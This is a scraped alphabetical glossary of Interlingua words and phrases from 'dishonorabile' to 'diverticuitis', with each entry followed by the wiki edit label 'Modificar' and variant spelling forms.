dishonorabile(s) dishonoranteModificar dishonorante(s) adj dishonorarModificar dishonorar su familiaModificar dishonorar un juvenaModificar dishonorar una juvena dishonorar un virgineModificar dishonorar una virgine dishumanModificar dishumano(s) \/ dishumana(s) dishumanisarModificar dishumanizar dishumanisationModificar dishumanization dishydratarModificar dishydratationModificar dishydrogenarModificar dishypothecarModificar disilluderModificar disillusionModificar disillusion amarModificar disillusion amara disillusion profundeModificar disillusion profunda disillusionamentoModificar disillusionamento amarModificar disillusionamento amaro disillusionamento profundeModificar disillusionamento profundo disillusionarModificar disillusionar profundementeModificar disillusionar profundamente disimballageModificar disimballarModificar disimballar mercantiasModificar disimballar mercesModificar disimbarcarModificar disimbarcationModificar disincantamentoModificar disincantamento amarModificar disincantamento amaro disincantamento profundeModificar disincantamento profundo disincantarModificar disincantatorModificar disincarcerarModificar disincarcerationModificar disincarnarModificar disincassamentoModificar disincassarModificar disinclinarModificar disinclinateModificar disinclinato(s) \/ disinclinata(s) disinclinationModificar disincombramentoModificar disincombrarModificar disincrustarModificar disincrustationModificar disincrustanteModificar disincrustante(s) adj disinebriarModificar disinebriar seModificar disinfamarModificar disinfectanteModificar disinfectante adj, sub disinfectarModificar disinfectar instrumentos chirurgicModificar disinfectar instrumentos chirurgicos disinfectar le camera de un malado contagioseModificar disinfectar la camera de un malado contagioso disinfectar un plagaModificar disinfectar una plaga disinfectatorModificar disinfectionModificar disinfection de un plagaModificar disinfection de una plaga disinfestarModificar disinfestationModificar disinfestatorModificar disinflammarModificar disinflarModificar disinflateModificar disinflato(s) \/ disinflata(s) disinflationModificar disinformarModificar disinformationModificar disingranarModificar disinhiberModificar disinhibitionModificar disinhibitoriModificar disinhibitorio(s) \/ disinhibitoria(s) disinquadramentoModificar disinquadrarModificar disinraucamentoModificar disinraucarModificar disinrolarModificar disinrolar seModificar disintegrarModificar disintegrationModificar disintegration alphaModificar disintegration atomicModificar disintegration atomica disintegration betaModificar disintegration del atomoModificar disintegration del personalitateModificar disintegration de la personalitate disintegration gammaModificar disinteressamentoModificar disinteressarModificar disinteressar se deModificar disinteressateModificar disinteressato(s) \/ disinteressata(s) disinteresseModificar disinterramentoModificar disinterrarModificar disinterrar tresoresModificar disintoxicarModificar disintoxicar seModificar disintoxicar un alcoholicoModificar disintoxicar un toxicomanoModificar disintoxicationModificar disintricarModificar disintricationModificar disinvelopparModificar disinvenenamentoModificar disinvenenarModificar disinvestimentoModificar disinvestirModificar disinvirgarModificar disinvolteModificar disinvolturaModificar disinvolverModificar disjejunarModificar disjuncteModificar disjuncto(s) \/ disjuncta(s) disjunctionModificar disjunction de duo procedurasModificar disjunction de duas proceduras disjunction de un articulo de un projecto de legeModificar disjunctiveModificar disjunctivo(s) \/ disjunctiva(s) disjunctorModificar disjungerModificar disjunger bovesModificar disjunger duo causasModificar disjunger duas causas disjunger un articulo de un projecto de legeModificar disjunger un idea de su realisation practicModificar disjunger una idea de su realization practica diskette [A]Modificar dislaciarModificar dislaciar se le calceosModificar dislaciar se los calceos dislaciar se le scarpasModificar dislaciar se las scarpas dislactarModificar disligamentoModificar disligarModificar disligar le lingua de un personaModificar disligar la lingua de una persona disligar un pacchettoModificar disligar un persona de su obligationesModificar disligar una persona de sus obligationes disligar un persona de un promissaModificar disligar una persona de una promissa disligar un persona del juramentoModificar disligar una persona del juramento dislocarModificar dislocar se le bracioModificar dislocar se le columna vertebralModificar dislocar se la columna vertebral dislocar se le pedeModificar dislocateModificar dislocato(s) \/ dislocata(s) dislocationModificar dislocation de un membroModificar dislocation horizontalModificar dislocationes tectonicModificar dislocationes tectonicas disloyalModificar disloyal(es) disloyalitateModificar dislustrarModificar dismacularModificar dismaculatorModificar dismaculaturaModificar dismaliarModificar dismaliar seModificar dismaliaturaModificar dismanicarModificar dismantellamentoModificar dismantellamento de armas nuclearModificar dismantellamento de armas nucleares dismantellarModificar dismantellar armas nuclearModificar dismantellar armas nucleares dismarcarModificar dismascarModificar dismascar seModificar dismascar un impostorModificar dismembramentoModificar dismembrarModificar dismembrar un animalModificar dismembrar un familiaModificar dismembrar una familia dismensurateModificar dismensurato(s) \/ dismensurata(s) dismentirModificar dismentir un affirmationModificar dismentir una affirmation dismentitoModificar dismesuraModificar dismesurateModificar dismesurato(s) \/ dismesurata(s) dismilitarisarModificar dismilitarizar dismilitarisationModificar dismilitarization dismobilarModificar dismobilar un cameraModificar dismobilar una camera dismodateModificar dismodato(s) \/ dismodata(s) dismonetisarModificar dismonetizar dismonetisar le pecias de auroModificar dismonetizar las pecias de auro dismonetisationModificar dismonetization dismontabileModificar dismontabile(s) dismontageModificar dismontapneuModificar dismontapneu [le dismontarModificar dismontar un machinaModificar dismontar una machina dismontar un tentaModificar dismontar una tenta dismontatorModificar dismontator de pneumaticosModificar dismoralisarModificar dismoralizar dismoralisationModificar dismoralization dismoralisatorModificar dismoralizator disnationalisarModificar disnationalizar disnationalisar un interprisaModificar disnationalizar una interprisa disnationalisationModificar disnationalization disnaturanteModificar disnaturante adj, sub disnaturarModificar disnaturationModificar disnaturation de alcoholModificar disnazificarModificar disnazificationModificar disnebularModificar disnebulationModificar disnebulisarModificar disnebulizar disnebulisationModificar disnebulization disnickelarModificar disnicotinisarModificar disnicotinizar disnicotinisationModificar disnicotinization disnicotinisatorModificar disnicotinizator disnitrificarModificar disnitrificationModificar disnodamentoModificar disnodamento de un roman \/ romanceModificar disnodarModificar disnodar un cordaModificar disnodar una corda disnodoseModificar disnodoso(s) \/ disnodosa(s) disobedienteModificar disobediente(s) disobedientiaModificar disobedientia civilModificar disobedirModificar disobedir a un personaModificar disobedir a una persona disobedir al timonModificar disobliganteModificar disobligante(s) adj disobligantiaModificar disobligarModificar disobstructionModificar disobstruction de un passageModificar disobstruerModificar disobstruer un passageModificar disobstruer un tuboModificar disoccuparModificar disoccupar se deModificar disoccupateModificar disoccupato(s) \/ disoccupata(s) disoccupationModificar disoccupation de longe durata \/ durationModificar disoccupation de longa durata \/ duration disoccupation del juvenesModificar disoccupation de los juvenes disoccupation disguisateModificar disoccupation disguisata disoccupation frictionalModificar disoccupation invisibileModificar disoccupation involuntariModificar disoccupation involuntaria disoccupation juvenilModificar disoccupation massiveModificar disoccupation massiva disoccupation partialModificar disoccupation prolongateModificar disoccupation prolongata disoccupation saisonalModificar disoccupation structuralModificar disoccupation voluntariModificar disoccupation voluntaria disoccupatoModificar disodoranteModificar disodorante adj, sub disodorisarModificar disodorizar disodorisationModificar disodorization disopercularModificar disopercular vb disorbitarModificar disorbitationModificar disordinarModificar disordinateModificar disordinato(s) \/ disordinata(s) disordineModificar disordine [le disordine circulatoriModificar disordine circulatorio disordine del pensataModificar disordine de la pensata disordine digestiveModificar disordine digestivo disordine indescriptibileModificar disordine intestinalModificar disordine mentalModificar disordine trophicModificar disordine trophico disordines racialModificar disordines raciales disorganisarModificar disorganizar disorganisar le planos de un personaModificar disorganizar los planos de una persona disorganisationModificar disorganization disorganisation de un armeaModificar disorganization de una armea disorganisatorModificar disorganizator disorganisatoriModificar disorganizatorio(s) \/ disorganizatoria(s) disorientarModificar disorientar un bussolaModificar disorientar una bussola disorientar un compassoModificar disorientationModificar disossamentoModificar disossarModificar disoxydanteModificar disoxydante adj, sub disoxydarModificar disoxydar un catenaModificar disoxydar una catena disoxydationModificar disoxygenanteModificar disoxygenante adj, sub disoxygenarModificar disoxygenationModificar disoxyribonucleicModificar disoxyribonucleico(s) \/ disoxyribonucleica(s) disoxyribose = disoxyribosisModificar dispacchettageModificar dispacchettarModificar dispaisarModificar dispaisar seModificar dispaisateModificar dispaisato(s) \/ dispaisata(s) disparateModificar disparato(s) \/ disparata(s) dispareModificar dispare(s) disparerModificar disparer del mundo del vivosModificar disparer del mundo de los vivos disparer del scenaModificar disparer de la scena disparer in fumoModificar disparer in le massaModificar disparer in la massa disparer in le tenebrasModificar disparer in las tenebras disparer in multitudeModificar disparer le aquaModificar disparer la aqua disparitateModificar disparitate de characteresModificar disparitate de credentiasModificar disparitate de etateModificar disparitate de opinionesModificar disparitate de tractamentoModificar disparitionModificar disparition de species prehistoricModificar disparition de species prehistoricas disparition de un culturaModificar disparition de una cultura disparition de un specieModificar disparition de una specie disparition del sol al horizonteModificar disparition del specieModificar disparition de la specie disparition mysterioseModificar disparition mysteriosa dispeciamentoModificar dispeciarModificar dispenderModificar dispendioModificar dispendio de energiaModificar dispendio de temporeModificar dispendioseModificar dispendioso(s) \/ dispendiosa(s) dispensaModificar dispensa del servicio militarModificar dispensabileModificar dispensabile(s) dispensarModificar dispensar multe monetaModificar dispensar multa moneta dispensar un persona de impostosModificar dispensar una persona de impostos dispensar un persona del juramentoModificar dispensar una persona del juramento dispensarioModificar dispensas de viageModificar dispensas immoderateModificar dispensas immoderatas dispensas imprevisteModificar dispensas imprevistas dispensas privateModificar dispensas privatas dispensationModificar dispensativeModificar dispensativo(s) \/ dispensativa(s) dispensatorModificar dispenseroModificar dispergerModificar dispersarModificar dispersar le armea inimicModificar dispersar la armea inimica dispersar le massaModificar dispersar la massa dispersar le multitudeModificar dispersar la multitude dispersar su attentionModificar dispersar su effortiosModificar dispersar sus effortios dispersar su fortiasModificar dispersar sus fortias dispersar un attruppamentoModificar dispersionModificar dispersion acusticModificar dispersion acustica dispersion angularModificar dispersion chromaticModificar dispersion chromatica dispersion de coloresModificar dispersion de luceModificar dispersion de lumineModificar dispersion del attentionModificar dispersion de la attention dispersion del coloresModificar dispersion de los colores dispersion del manifestantesModificar dispersion de los manifestantes dispersion del massaModificar dispersion de la massa dispersion del nubes per le ventoModificar dispersion de las nubes per le vento dispersion del populo judeeModificar dispersion del populo judeo dispersion de su fortiasModificar dispersion de sus fortias dispersiveModificar dispersivo(s) \/ dispersiva(s) dispignoramentoModificar dispignorarModificar displacenteModificar displacente(s) displacentiaModificar displacerModificar displacer a un personaModificar displacer a una persona displaciabileModificar displaciabile(s) displaciamentoModificar displaciamento angularModificar displaciamento de aquaModificar displaciamento de truppasModificar displaciamento de un functionarioModificar displaciamento de un functionario publicModificar displaciamento de un functionario publico displaciamento de un naveModificar displaciamento de una nave displaciamento del accentoModificar displaciamento transversalModificar displaciamento violetteModificar displaciamento violetto displaciarModificar displaciar truppasModificar displaciar un functionarioModificar displaciar un functionario publicModificar displaciar un functionario publico displaciar un problemaModificar displaciar un tabulaModificar displaciar una tabula displaciateModificar displaciato(s) \/ displaciata(s) displantarModificar displantationModificar displantatorModificar display [A]Modificar display de un computatorModificar display de un computerModificar displicabileModificar displicabile(s) displicamentoModificar displicamento de fortiasModificar displicamento de missiles de crucieraModificar displicamento de un paracaditaModificar displicarModificar displicar le alasModificar displicar las alas displicar le bandieraModificar displicar la bandiera displicar le velasModificar displicar las velas displicar missiles de crucieraModificar displicar un grande activitateModificar displicar una grande activitate displicar un grande habilitateModificar displicar una grande habilitate displicar un grande poterModificar displicar un jornalModificar displicar zeloModificar displumarModificar displumar un personaModificar displumar una persona displumateModificar displumato(s) \/ displumata(s) displumationModificar dispoetisarModificar dispoetizar dispoetisationModificar dispoetization dispolarisarModificar dispolarizar dispolarisationModificar dispolarization dispolarisatorModificar dispolarizator dispolimentoModificar dispolirModificar disponerModificar disponer deModificar disponer de un auto \/ automobileModificar disponer del sorte de un personaModificar disponer de la sorte de una persona disponer estheticamente le floresModificar disponer estheticamente las flores disponer flores in un vasoModificar disponer in laminasModificar disponer in tabulasModificar disponer le sedias circum le tabulaModificar disponer las sedias circum la tabula disponer liberemente deModificar disponer liberemente \/ liberamente de disponer un persona in favor de un cosaModificar disponer una persona in favor de una cosa disponibileModificar disponibile(s) disponibile a demandaModificar disponibile(s) a demanda disponibilitateModificar disponibilitate immediateModificar disponibilitate immediata dispopulamentoModificar dispopularModificar dispositeModificar disposito(s) \/ disposita(s) disposite al pardonoModificar [disposito(s) \/ disposita(s)] al pardono dispositionModificar disposition alterne del floresModificar disposition alterna de las flores disposition alterne del foliosModificar disposition alterna de los folios disposition artisticModificar disposition artistica disposition de penalitateModificar disposition de spiritoModificar disposition del foliosModificar disposition de los folios disposition del legeModificar disposition de la lege disposition del spiritoModificar disposition foliarModificar disposition imperativeModificar disposition imperativa disposition legalModificar disposition limitativeModificar disposition limitativa disposition materialisticModificar disposition materialistica disposition penalModificar disposition preceptiveModificar disposition preceptiva disposition prohibitiveModificar disposition prohibitiva disposition provisoriModificar disposition provisoria disposition salarialModificar disposition statutariModificar disposition statutaria disposition testamentari in extremisModificar disposition testamentaria in extremis disposition transitionalModificar disposition transitoriModificar disposition transitoria disposition typographicModificar disposition typographica dispositiones del lege super le abortamentoModificar dispositiones de la lege super le abortamento dispositiones in vigorModificar dispositiones legislativeModificar dispositiones legislativas dispositiones protocollarModificar dispositiones protocollares dispositiones super le abortamentoModificar dispositiones tarifariModificar dispositiones tarifarias dispositiones testamentariModificar dispositiones testamentarias dispositiones transitoriModificar dispositiones transitorias dispositiones vigenteModificar dispositiones vigentes dispositiveModificar dispositivo(s) \/ dispositiva(s) dispositivoModificar dispositivo antiderapanteModificar dispositivo antifurtoModificar dispositivo anti-incendioModificar dispositivo automaticModificar dispositivo automatico dispositivo de accendimentoModificar dispositivo de alarmaModificar dispositivo de ancorageModificar dispositivo de ascoltaModificar dispositivo de clausuraModificar dispositivo de controloModificar dispositivo de frenageModificar dispositivo de ignitionModificar dispositivo de preselectionModificar dispositivo de securitateModificar dispositivo de securitate quadrupleModificar dispositivo de securitate quadruplo dispositivo de signalisationModificar dispositivo de signalization dispositivo de synchronisationModificar dispositivo de synchronization dispositivo intrauterinModificar dispositivo intrauterino dispositivo prohibitiveModificar dispositivo prohibitivo dispositivo prohibitoriModificar dispositivo prohibitorio dispositivo regulatorModificar dispositorModificar dispossederModificar disposseder un persona de su benesModificar disposseder una persona de sus benes disposseder un persona de un privilegioModificar disposseder una persona de un privilegio dispossessionModificar dispossession de un privilegioModificar disprecianteModificar dispreciante(s) dispreciarModificar dispreciativeModificar dispreciativo(s) \/ dispreciativa(s) dispreciatorModificar disprecioModificar disprecio de se ipseModificar disprecio de se ipse(s) \/ ipso(s) \/ ipsa(s) disprecio de se mesmeModificar disprecio de se mesme(s) \/ mesmo(s) \/ mesma(s) disproportionModificar disproportion de etateModificar disproportionarModificar disproportionateModificar disproportionato(s) \/ disproportionata(s) disproportionationModificar disproviderModificar disproviste (de)Modificar disprovisto(s) \/ disprovista(s) [de] disproviste de caudaModificar [disprovisto(s) \/ disprovista(s)] de cauda disproviste de equivocoModificar [disprovisto(s) \/ disprovista(s)] de equivoco disproviste de interesseModificar [disprovisto(s) \/ disprovista(s)] de interesse disproviste de monetaModificar [disprovisto(s) \/ disprovista(s)] de moneta disproviste de riscosModificar [disprovisto(s) \/ disprovista(s)] de riscos disproviste de sensibilitateModificar [disprovisto(s) \/ disprovista(s)] de sensibilitate disproviste de sensoModificar [disprovisto(s) \/ disprovista(s)] de senso disproviste de tactoModificar [disprovisto(s) \/ disprovista(s)] de tacto disproviste de talentoModificar [disprovisto(s) \/ disprovista(s)] de talento dispruinarModificar dispruinationModificar dispruinatorModificar dispulparModificar dispulpatorModificar dispulveramentoModificar dispulverarModificar dispulverar un carpettaModificar dispulverar una carpetta dispulverar un tapeteModificar dispulverar un tapisModificar disputaModificar disputa de theologosModificar disputa doctrinalModificar disputa religioseModificar disputa religiosa disputa salarialModificar disputa theologicModificar disputa theologica disputabileModificar disputabile(s) disputabilitateModificar disputanteModificar disputante [le \/ la disputarModificar disputar le legalitate de un actoModificar disputar la legalitate de un acto disputar se un hereditageModificar disputationModificar disputativeModificar disputativo(s) \/ disputativa(s) disputatorModificar disqualificarModificar disqualificar un boxator pro un colpo basseModificar disqualificar un boxator pro un colpo basso disqualificar un persona como un testeModificar disqualificar una persona como un(a) teste disqualificationModificar disquisitionModificar disrangiamentoModificar disrangiamento intestinalModificar disrangiarModificar disrationabileModificar disrationabile(s) disregulamentoModificar disregulamento de un mechanismoModificar disregulamento del evolution naturalModificar disregulamento de la evolution natural disregularModificar disregular seModificar disregular un evolution naturalModificar disregular una evolution natural disregular un mechanismoModificar disregulateModificar disregulato(s) \/ disregulata(s) disrolamentoModificar disrolarModificar disrolar le carpetta rubie ante un personaModificar disrolar la carpetta rubia ante una persona disrolar le tapete rubie ante un personaModificar disrolar le tapete rubio ante una persona disrolar le tapis rubie ante un personaModificar disrolar le tapis rubio ante una persona disrolar un cartaModificar disrolar una carta disrolar un mappaModificar disrumperModificar disruptionModificar disruptiveModificar disruptivo(s) \/ disruptiva(s) disruptorModificar dissalarModificar dissalar le aqua del marModificar dissalar la aqua del \/ de_la mar dissalationModificar dissecarModificar dissecar un animalModificar dissecar un florModificar dissecar una flor dissectionModificar dissectorModificar dissellarModificar disseminarModificar disseminar armas atomicModificar disseminar armas atomicas disseminar cognoscentiaModificar disseminar cognoscimentoModificar disseminar minasModificar disseminar un maladiaModificar disseminar una maladia disseminationModificar dissemination de armas atomicModificar dissemination de armas atomicas dissemination de armas nuclearModificar dissemination de armas nucleares dissemination epizoicModificar dissemination epizoica dissemination thalassicModificar dissemination thalassica disseminatorModificar dissensionModificar dissension civilModificar dissension religioseModificar dissension religiosa dissensiones domesticModificar dissensiones domesticas dissensiones familialModificar dissensiones familiales dissentimentoModificar dissentirModificar dissepimentoModificar dissererModificar disserramentoModificar disserrarModificar disserrar su prisaModificar disserrar un viteModificar dissertarModificar dissertar super un subjecto politicModificar dissertar super un subjecto politico dissertationModificar dissertation de doctoratoModificar dissertation doctoralModificar dissertation historicModificar dissertation historica dissertatorModificar disservicioModificar disservirModificar dissidenteModificar dissidente adj, sub dissidentiaModificar dissidentias religioseModificar dissidentias religiosas dissiderModificar dissigillamentoModificar dissigillarModificar dissigillar un litteraModificar dissigillar una littera dissimilantiaModificar dissimilarModificar dissimilar in formaModificar dissimilaritateModificar dissimilationModificar dissimileModificar dissimile(s) dissimilitudeModificar dissimulabileModificar dissimulabile(s) dissimularModificar dissimular su disappunctamentoModificar dissimular su disillusionModificar dissimular su gaudioModificar dissimular su joiaModificar dissimular un cosa al fiscoModificar dissimular una cosa al fisco dissimulateModificar dissimulato(s) \/ dissimulata(s) dissimulationModificar dissimulatorModificar dissipabileModificar dissipabile(s) dissiparModificar dissipar energiaModificar dissipar le massaModificar dissipar la massa dissipar le multitudeModificar dissipar la multitude dissipar se in fumoModificar dissipar su fortunaModificar dissipar su patrimonioModificar dissipar su temporeModificar dissipateModificar dissipato(s) \/ dissipata(s) dissipationModificar dissipation de energiaModificar dissipation de temporeModificar dissipatorModificar dissociabileModificar dissociabile(s) dissociabilitateModificar dissociarModificar dissociar duo questionesModificar dissociar duas questiones dissociar le moleculasModificar dissociar las moleculas dissociar un corpore chimicModificar dissociar un corpore chimico dissociateModificar dissociato(s) \/ dissociata(s) dissociationModificar dissociation electrolyticModificar dissociation electrolytica dissociation hydrolyticModificar dissociation hydrolytica dissociation mentalModificar dissociation thermicModificar dissociation thermica dissociativeModificar dissociativo(s) \/ dissociativa(s) dissoldarModificar dissolubileModificar dissolubile(s) dissolubilitateModificar dissolubilitate de un assembleaModificar dissolubilitate de una assemblea dissolubilitate de un substantiaModificar dissolubilitate de una substantia dissoluteModificar dissoluto(s) \/ dissoluta(s) dissolutionModificar dissolution de_un \/ del maritageModificar dissolution de_un \/ del matrimonioModificar dissolution del costumesModificar dissolution de los costumes dissolution del moresModificar dissolution de los mores dissolution del parlamentoModificar dissolutiveModificar dissolutivo(s) \/ dissolutiva(s) dissolventeModificar dissolvente adj, sub dissolverModificar dissolver le parlamentoModificar dissolver sucro in aquaModificar dissolver un commissionModificar dissolver una commission dissolver un companiaModificar dissolver una compania dissolver un maritageModificar dissolver un matrimonioModificar dissolver un societateModificar dissolver una societate dissonanteModificar dissonante(s) adj dissonantiaModificar dissonantia cognitiveModificar dissonantia cognitiva dissonantia de coloresModificar dissonantia inter le principios e le conductaModificar dissonantia inter los principios e \/ et la conducta dissonarModificar dissoneModificar dissono(s) \/ dissona(s) dissuaderModificar dissuader le inimicoModificar dissuasionModificar dissuasiveModificar dissuasivo(s) \/ dissuasiva(s) dissuasorModificar dissuerModificar dissymmetriaModificar dissymmetria molecularModificar dissymmetricModificar dissymmetrico(s) \/ dissymmetrica(s) distachabile {sh}Modificar distachabile(s) distachamento {sh}Modificar distachar {sh}Modificar distachar le ammarrasModificar distachar las ammarras distachar le buclaModificar distachar la bucla distachar le canModificar distachar le receptorModificar distachar le remolcoModificar distachar le wagonModificar distachar per rumperModificar distachar se del pelotonModificar distachar su mantelloModificar distachar torquenteModificar distachar torquendo distachar un anello de un catenaModificar distachar un anello de una catena distachar un wagonModificar distachate {sh}Modificar distachato(s) \/ distachata(s) distalModificar distal(es) distanteModificar distante(s) distantiaModificar distantia angularModificar distantia apogeeModificar distantia apogea distantia attingiteModificar distantia attingita distantia auditiveModificar distantia auditiva distantia de arrestoModificar distantia de attingimentoModificar distantia de derapageModificar distantia de frenageModificar distantia de lanceamentoModificar distantia de visibilitateModificar distantia focalModificar distantia focal de un lenteModificar distantia focal de una lente distantia hyperfocalModificar distantia in linea recteModificar distantia in linea recta distantia incalculabileModificar distantia interatomicModificar distantia interatomica distantia papillarModificar distantia pupillarModificar distantia zenitalModificar distantiarModificar distantiar se de su adversarioModificar distantiar se explicitemente de un cosaModificar distantiar se explicitamente de una cosa distantiar se formalmente deModificar distantias interstellarModificar distantias interstellares distantias vertiginoseModificar distantias vertiginosas distantiometroModificar distarModificar distar 10 kilometros del urbeModificar distar 10 kilometros de la urbe distemperarModificar distemperar acieroModificar distemperateModificar distemperato(s) \/ distemperata(s) distenderModificar distender le arcoModificar distender le cordaModificar distender la corda distender un cordaModificar distender una corda distender un musculoModificar distensibileModificar distensibile(s) distensibilitateModificar distensionModificar distension de un arcoModificar distension de un musculoModificar disthronabileModificar disthronabile(s) disthronamentoModificar disthronarModificar disthronar le regeModificar distichoModificar disticho elegiacModificar disticho elegiaco distillabileModificar distillabile(s) distillarModificar distillar ginModificar distillar vinoModificar distillationModificar distillation de plantas aromaticModificar distillation de plantas aromaticas distillation fractionateModificar distillation fractionata distillation molecularModificar distillation sicModificar distillation sica distillation vacuoModificar distillatoModificar distillatorModificar distillator de arakModificar distillator de ginModificar distillator de rumModificar distillatoriModificar distillatorio(s) \/ distillatoria(s) distilleriaModificar disteilleria deModificar distilleria de arakModificar distilleria de coaltarModificar distilleria de ginModificar distilleria de liquoresModificar distilleria de rumModificar distincteModificar distincto(s) \/ distincta(s) distinctionModificar distinction de classeModificar distinction de genereModificar distinction del ben e del malModificar distinction del ben e \/ et del mal distinction honorificModificar distinction honorifica distinction juridicModificar distinction juridica distinction netteModificar distinction netta distinction orthographicModificar distinction orthographica distinction racialModificar distinction subtilModificar distinctiones delicateModificar distinctiones delicatas distinctiveModificar distinctivo(s) \/ distinctiva(s) distinctivoModificar distinctivo de policiaModificar distingerModificar distinguerModificar distinguer inter le possibile e le probabileModificar distinguer inter le \/ lo possibile e \/ et le \/ lo probabile distinguer le periculoModificar distinguer nettementeModificar distinguer nettamente distinguer se per certe particularitatesModificar distinguer se per certas particularitates distinguer se per un cosaModificar distinguer se per una cosa distinguibileModificar distinguibile(s) distinguibilitateModificar distinguiteModificar distinguito(s) \/ distinguita(s) distinguitorModificar distobuccalModificar distobuccal(es) distolingualModificar distolingual(es) distomaModificar distoma [le distoma hepaticModificar distoma hepatico distomatose = distomatosisModificar distorquerModificar distorquer le parolas de un personaModificar distorquer las parolas de una persona distorquer le realitateModificar distorquer la realitate distorquer se le pedeModificar distorsion de intermodulationModificar distorsion harmonicModificar distorsion harmonica distorsion linearModificar distorteModificar distorto(s) \/ distorta(s) distortion = distorsionModificar distortion de intermodulationModificar distortion de modulationModificar distortion de sonoModificar distortion harmonicModificar distortion harmonica distortion in forma de barrilModificar distortion in forma de cossinoModificar distortion linearModificar distracteModificar distracto(s) \/ distracta(s) distractionModificar distraction de feriaModificar distraction de kermesseModificar distraction innocenteModificar distractiveModificar distractivo(s) \/ distractiva(s) distraherModificar distraher le inimicoModificar distraher su attentionModificar distressarModificar distribuerModificar distribuer con profusionModificar distribuer le cartasModificar distribuer las cartas distribuer le curreroModificar distribuer le partesModificar distribuer las partes distribuer le rolosModificar distribuer los rolos distribuer prospectosModificar distribuer repastosModificar distribuer surrisosModificar distribuer un dividendoModificar distribuibileModificar distribuibile(s) distributionModificar distribution binomialModificar distribution complementariModificar distribution complementaria distribution de benzinaModificar distribution de cartasModificar distribution de dividendosModificar distribution de gasModificar distribution de gas naturalModificar distribution de gasolinaModificar distribution de litterasModificar distribution de premiosModificar distribution de tensionModificar distribution del currenteModificar distribution de la currente distribution del curreroModificar distribution del gasModificar distribution del partesModificar distribution de las partes distribution del phonemasModificar distribution de los phonemas distribution del populationModificar distribution de la population distribution del preciosModificar distribution de los precios distribution del riscosModificar distribution de los riscos distribution del rolosModificar distribution de los rolos distribution gaussianModificar distribution gaussiana distribution municipal del aquaModificar distribution municipal de la aqua distribution postalModificar distributionalModificar distributional(es) distributiveModificar distributivo(s) \/ distributiva(s) distributivitateModificar distributorModificar distributor automaticModificar distributor automatico distributor (automatic) de cigarrettasModificar distributor (automático) de cigarrettas distributor de benzinaModificar distributor de billetes de bancaModificar distributor de caffeModificar distributor de condomesModificar distributor de currenteModificar distributor de filmsModificar distributor de gasolinaModificar distributor de litterasModificar distributor de notas de bancaModificar distributor de preservativosModificar distributor de tensionModificar distributor de tickets de parkingModificar distributor de timbrosModificar distributor de voltageModificar districtoModificar districto carbonifereModificar districto carbonifero districto electoralModificar districto federalModificar districto postalModificar districto ruralModificar districto urbanModificar districto urbano disturbantiaModificar disturbantia articulatoriModificar disturbantia articulatoria disturbantia comportamentalModificar disturbantia de crescentiaModificar disturbantia de crescimentoModificar disturbantia del equilibrioModificar disturbantia del ordine publicModificar disturbantia del ordine publico disturbantia del tranquillitateModificar disturbantia de la tranquillitate disturbantia mnesicModificar disturbantia mnesica disturbantias atmosphericModificar disturbantias atmosphericas disturbantias psychomotorModificar disturbantias psychomotrices disturbantias racialModificar disturbantias raciales disturbarModificar disturbar le equilibrioModificar disturbar le ordine publicModificar disturbar le ordine publico disturbar le quiete publicModificar disturbar la quiete publica disturbar le stomachoModificar disturbar le tranquillitateModificar disturbar la tranquillitate disturbate mentalmenteModificar [disturbato(s) \/ disturbata(s)] mentalmente disturbatorModificar distyleModificar distylo(s) \/ distyla(s) disuncarModificar disunionModificar disunion del corpore e del animaModificar disunion del corpore e \/ et de la anima disunirModificar disunitateModificar disunitate [la disusarModificar disusateModificar disusato(s) \/ disusata(s) disusoModificar disutileModificar disutile(s) disvainarModificar disvainar le sablaModificar disvainar la sabla disvainar le spadaModificar disvainar la spada disvelamentoModificar disvelarModificar disvelar (indiscretemente) un secretoModificar disvelar (indiscretamente) un secreto disvelar secretosModificar disvelar un mysterioModificar disvelar un statuaModificar disvelar una statua disveloppabileModificar disveloppabile(s) disveloppamentalModificar disveloppamental(es) disveloppamentoModificar disveloppamento del derectoModificar disveloppamento del litoralModificar disveloppamento del pellicula negativeModificar disveloppamento de la pellicula negativa disveloppamento del spiritoModificar disveloppamento hastiveModificar disveloppamento hastivo disveloppamento inquietanteModificar disveloppamento intellectualModificar disveloppamento parallelModificar disveloppamento parallelo disveloppamento prenatalModificar disveloppamento progressiveModificar disveloppamento progressivo disveloppamento satisfactoriModificar disveloppamento satisfactorio disveloppamento semanticModificar disveloppamento semantico disvelopparModificar disveloppar le amicitateModificar disveloppar la amicitate disveloppar le capacitate intellectualModificar disveloppar la capacitate intellectual disveloppar se de forma cancerogeneModificar disveloppar se de forma cancerogena disveloppar se de forma canceroseModificar disveloppar se de forma cancerosa disveloppar su personalitateModificar disveloppar su talento al maximoModificar disveloppar un methodo didacticModificar disveloppar un methodo didactico disveloppar un nove medicamentoModificar disveloppar un novo medicamento disveloppar un spirito de resistentiaModificar disveloppatorModificar disveloppator de inversionModificar disveloppator pro photographias \/ photos in coloresModificar disvestirModificar disviarModificar disviar seModificar disviationModificar disvitabileModificar disvitabile(s) disvitamentoModificar disvitarModificar disvitar le coperculo de un pottoModificar disyllabeModificar disyllabo(s) \/ disyllaba(s) disyllabic = dissyllabicModificar disyllabico(s) \/ disyllabica(s) = dissyllabico(s) \/ dissyllabica(s) disyllabo = dissyllaboModificar dithyrambicModificar dithyrambico(s) \/ dithyrambica(s) dithyramboModificar dittoModificar dittographiaModificar dittographicModificar dittographico(s) \/ dittographica(s) dittologiaModificar dittologicModificar dittologico(s) \/ dittologica(s) diurese = diuresisModificar diureticModificar diuretico(s) \/ diuretica(s) diureticoModificar diurnalModificar diurnal(es) diurneModificar diurno(s) \/ diurna(s) diurnoModificar divaModificar divagarModificar divagar vb divagationModificar divanModificar divan [le divan-lectoModificar diveModificar divo(s) \/ diva(s) divellerModificar divergenteModificar divergente(s) divergentiaModificar divergentia de ideasModificar divergentia de interessesModificar divergentia de judicamentosModificar divergentia de opinionesModificar divergentia de radios luminoseModificar divergentia de radios luminosos divergentia de un vectorModificar divergentia religioseModificar divergentia religiosa divergerModificar diverseModificar diverso(s) \/ diversa(s) diverse personas me ha parlate de illoModificar diversas personas me han \/ haben parlato de illo diversificabileModificar diversificabile(s) diversificarModificar diversificar le investimentosModificar diversificar los investimentos diversificar le programmas de televisionModificar diversificar los programmas de television diversificar su exemplosModificar diversificar sus exemplos diversificationModificar diversiformeModificar diversiforme(s) diversionModificar diversion de feriaModificar diversion de kermesseModificar diversion popularModificar diversiones super le glacieModificar diversitateModificar diversitate de culturasModificar diversitate de opinionModificar diversitate genetic del specieModificar diversitate genetica de la specie diversitate infinite del naturaModificar diversitate infinita de la natura diverterModificar diverter se agradabilementeModificar diverter su attentionModificar diverticularModificar diverticular(es) adj diverticuitisModificar 